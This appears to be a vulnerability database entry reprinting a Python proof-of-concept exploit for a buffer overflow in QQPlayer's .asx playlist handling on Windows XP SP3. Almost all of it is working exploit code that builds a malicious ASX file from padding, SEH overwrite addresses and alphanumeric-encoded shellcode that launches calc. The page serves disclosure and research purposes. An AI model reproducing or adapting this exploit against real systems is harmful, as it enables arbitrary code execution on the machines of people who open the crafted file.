QQPlayer asx File Processing Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

QQPlayer asx File Processing Buffer Overflow Exploit by Li Qingsha


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#
# Title: QQPlayer asx File Processing Buffer Overflow Exploit
# Author: Li Qingshan of Information Security Engineering Center,School of Software and Microelectronics,Peking University
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Test: QQPlayer 2.3.696.400
# Vulnerable: QQPlayer&#60;=2.3.696.400p1
# Payload = calc
#
#################################################################
# Code :

head =&#39;&#39;&#39;&#60;ASX version=&#34;3.0&#34;&#62;
&#60;Entry&#62;
&#60;REF HREF=&#34;mms://site.com/ach/music/smpl/LACA-05928-002-tes_&#39;&#39;&#39;
junk = &#34;A&#34; * 1975  #English XP SP3 users, try 1984 bytes instead
nseh =&#34;\x42\x61\x21\x61&#34;
seh  =&#34;\xa9\x9e\x41\x00&#34;
adjust=&#34;\x30\x83\xc0\x0c&#34;
shellcode=(&#34;PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV&#34;
           &#34;QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL&#34;
           &#34;KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9&#34;
           &#34;QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW&#34;
           &#34;TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R&#34;
           &#34;HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA&#34;)
junk_=&#34;R&#34;*8000
foot =&#39;&#39;&#39;_playlis.wma&#34;/&#62;
&#60;/Entry&#62;
&#60;/ASX&#62;&#39;&#39;&#39;
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open(&#34;poc.asx&#34;,&#34;w&#34;)
fobj.write(payload)
fobj.close()

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1